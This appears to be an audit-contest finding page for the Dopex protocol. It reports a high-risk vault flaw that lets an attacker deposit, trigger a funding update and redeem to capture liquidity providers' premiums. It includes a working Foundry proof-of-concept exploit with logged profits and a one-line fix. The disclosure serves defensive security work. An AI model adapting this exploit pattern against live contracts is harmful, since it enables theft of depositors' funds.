Dopex - Neon2835's results

A rebate system for option writers in the Dopex Protocol.

General Information

Platform: Code4rena

Start Date: 21/08/2023

Pot Size: $125,000 USDC

Total HM: 26

Participants: 189

Period: 16 days

Judge: GalloDaSballo

Total Solo HM: 3

Id: 278

League: ETH

Dopex

Findings Distribution

Researcher Performance

Rank: 136/189

Findings: 1

Award: $17.31

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

17.313 USDC - $17.31

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
edited-by-warden
duplicate-867

External Links

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118-L135

Vulnerability details

Impact

The premium in the PerpetualAtlanticVaultLP contract should belong to Liquidity Providers in terms of system design. Since the premium fund distribution mechanism is carried out according to each cycle, the attacker uses the time difference of each cycle to deposit a large number of WETHs in advance to obtain a large number of shares, then calls the updateFunding function of the PerpetualAtlanticVault contract to distribute the premium fund, and finally calls the redeem function of the PerpetualAtlanticVaultLP contract to redeem all his own shares. At this time, the attacker can obtain a large number of premium funds.

Proof of Concept

Create a test script Poc01.t.sol in the tests/rdpxV2-core/ folder and write the following code:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import { Test } from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { Setup } from "./Setup.t.sol";
import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol";
contract Poc01 is ERC721Holder, Setup {
  // ================================ HELPERS ================================ //
  function mintToken(uint256 _amount, address _to) public {
    weth.mint(_to, _amount);
    rdpx.mint(_to, _amount * 100);
  }

  function setApprovals(address _as) public {
    vm.startPrank(_as, _as);
    rdpx.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);
    rdpx.approve(address(rdpxV2Core), type(uint256).max);
    weth.approve(address(vault), type(uint256).max);
    weth.approve(address(vaultLp), type(uint256).max);
    weth.approve(address(rdpxV2Core), type(uint256).max);
    vm.stopPrank();
  }

  function deposit(uint256 _amount, address _from) public  {
    vm.startPrank(_from, _from);
    vaultLp.deposit(_amount, address(1));
    vm.stopPrank();
  }

  // ================================ CORE ================================ //
  address Alice = address(1);
  address Bob =  address(2);
  address Charlie = address(3);
  address Daniel =  address(4);
  address Attacker = address(5);

  function _mockRealScenes() private{
    setApprovals(Alice);
    setApprovals(Bob);
    setApprovals(Charlie);
    setApprovals(Daniel);
    setApprovals(Attacker);
    mintToken(10 ether, Alice);
    mintToken(10 ether, Bob);
    mintToken(10 ether, Charlie);
    mintToken(10 ether, Daniel);

    // Alice deposit 10 WETH
    deposit(10 ether, Alice);
    // Bob deposit 10 WETH
    deposit(10 ether, Bob);
    // Charlie bonds 10 dpxETH
    rdpxV2Core.bond(10 ether, 0, Charlie);
    // Daniel bonds 10 dpxETH
    rdpxV2Core.bond(10 ether, 0, Daniel);
  }

  function testStealPremium() public {
    _mockRealScenes();
    weth.mint(Attacker, 500 ether); //Assuming the attacker has 500 ether
    uint balanceBefore = weth.balanceOf(Attacker);
    console.log(" Attacker's WETH balance before -> ",balanceBefore);
    skip(86500); // expires epoch 1
    console.log(" Attacker earn -> ",_oneAttack()); // one attack
    skip(1); //  1 second
    console.log(" Attacker earn -> ",_oneAttack()); // attack again
    skip(86400); //  1 day
    console.log(" Attacker earn -> ",_oneAttack()); // attack again
    console.log(" Attacker's WETH balance after -> ",weth.balanceOf(Attacker));
    console.log(" Attackers profit in total -> ",weth.balanceOf(Attacker) - balanceBefore);
  }

  function _oneAttack() private returns(uint256 earn){
    vm.startPrank(Attacker);
    uint balanceBefore = weth.balanceOf(Attacker);
    //Attacker deposit all his balance
    uint shares = vaultLp.deposit(balanceBefore , Attacker);
    //Attacker redeem all his share
    vaultLp.redeem(shares, Attacker, Attacker);
    uint balanceAfter = weth.balanceOf(Attacker);
    earn = balanceAfter - balanceBefore;
    vm.stopPrank();
  }
}

Run the test script and the results are as follows:

sh-3.2# forge test --match-test StealPremium -vvv [â ”] Compiling... [â Š] Compiling 1 files with 0.8.19 [â ¢] Solc 0.8.19 finished in 5.63s Compiler run successful! Running 1 test for tests/rdpxV2-core/Poc01.t.sol:Poc01 [PASS] testStealPremium() (gas: 2728079) Logs: Attacker's WETH balance before -> 500000000000000000000 Attacker earn -> 141387421004610961 Attacker earn -> 1634536659011 Attacker earn -> 141223967338709676 Attacker's WETH balance after -> 500282613022879979648 Attackers profit in total -> 282613022879979648 Test result: ok. 1 passed; 0 failed; finished in 3.03s

From the results, it can be seen that the attack was successful! The attacker stole 282613022879979648 WETHs from the PerpetualAtlanticVaultLP contract without any risk.

Tools Used

Visual Studio Code Foundry

The reason for the vulnerability is that in the deposit function of the PerpetualAtlanticVaultLP contract, the statement perpetualAtlanticVault.updateFunding(); was not called first. Instead, the previewDeposit function was called first to calculate the shares. Therefore, mitigation measures are recommended:

Move statement perpetualAtlanticVault.updateFunding(); to the first line at the beginning of the deposit function:

  function deposit(
    uint256 assets,
    address receiver
  ) public virtual returns (uint256 shares) {
    // Check for rounding error since we round down in previewDeposit.
    require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");

    perpetualAtlanticVault.updateFunding();

    // Need to transfer before minting or ERC777s could reenter.
    collateral.transferFrom(msg.sender, address(this), assets);

    _mint(receiver, shares);

    _totalCollateral += assets;

    emit Deposit(msg.sender, receiver, assets, shares);
  }

Change to:

  function deposit(
    uint256 assets,
    address receiver
  ) public virtual returns (uint256 shares) {
    perpetualAtlanticVault.updateFunding();
    
    // Check for rounding error since we round down in previewDeposit.
    require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");

    // Need to transfer before minting or ERC777s could reenter.
    collateral.transferFrom(msg.sender, address(this), assets);

    _mint(receiver, shares);

    _totalCollateral += assets;

    emit Deposit(msg.sender, receiver, assets, shares);
  }

Assessed type

Other

#0 - c4-pre-sort

2023-09-13T15:41:55Z

bytes032 marked the issue as duplicate of #867

#1 - c4-pre-sort

2023-09-13T15:42:05Z

bytes032 marked the issue as sufficient quality report

#2 - c4-judge

2023-10-20T19:25:49Z

GalloDaSballo marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter